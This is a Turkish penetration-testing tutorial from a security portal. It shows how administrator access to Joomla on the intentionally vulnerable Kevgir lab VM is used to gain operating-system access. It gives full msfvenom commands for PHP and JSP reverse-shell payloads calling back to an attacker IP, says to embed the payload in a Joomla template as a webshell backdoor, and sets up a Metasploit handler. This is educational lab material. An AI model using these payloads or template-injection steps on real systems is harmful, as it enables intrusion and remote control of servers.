Erişim Sağlanan Jooma Yönetim Arayüzünde MsfVenom ile Oluşturulan PHP Kodunun Gömülerek İşletim Sistemine Erişim Sağlanması - SİBER GÜVENLİK PORTALİ
Browse archives for Ocak 18, 2017
Web uygulaması sızma testleri sırasında erişilen web uygulaması üzerinden işletim sisteminde kod çalıştırılabilir. Bu yazıda yönetici hakları ile erişim sağlanan Joomla yönetim arayüzü MsfVenom aracı ile hazırlanan bir PHP kodunun (webshell backdoor) hedefe şablon olarak yüklenmesi yolu ile istismar edilecek ve işletim sistemine Meterpreter ile erişim sağlanacaktır.
Yazıda kullanılan Kevgir sanal makinesi https://canyoupwn.me/kevgir-vulnerable-vm/ bağlantısından indirilebilir. Joomla uygulamasına yönetici olarak erişim sağlandıktan sonra işletim sisteminde kod çalıştırabilmek için şablon yönetimindeki (“Extensions > Template Manager“) zafiyet istismar edilecektir.
Hedef sistemin saldırgan bilgisayarına (100.100.200.210) erişim sağlaması için msfvenom ile yeni bir payload hazırlanır.
msfvenom -p php/meterpreter/reverse_tcp LHOST=100.100.200.210 LPORT=11223 -f raw
Not: Payload olarak JSP de kullanılabilirdi:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=100.100.200.210 LPORT=11223 -f war > /root/Desktop/kabuk.war
Hazırlanan bu kodun turuncu ile belirtilen alanı (başındaki “/*” kısmı alınmaz) kopyalanır ve şablon kodunun bulunduğu alana yapıştırılır. Sonrasında da şablon kaydedilir.
Sayfa çağırıldığında msfvenom ile hazırlanan kod çalışacak ve ters bağlantı talebi oluşacaktır. Bu bağlantının yakalanması içinm saldırgan bilgisayarında multi/handler modülü başlatılır.
set LHOST 100.100.200.210
set LPORT 11223
Şablon ön izlemeye alındığında yazılı olan kod parçacığı çalışacaktır.
Böylece saldırgan tarafında Meterpreter talebi yakalanmış olacaktır.
Sızma Testlerinde Standart Komut Satırının Meterpreter Kabuğuna Yükseltilmesi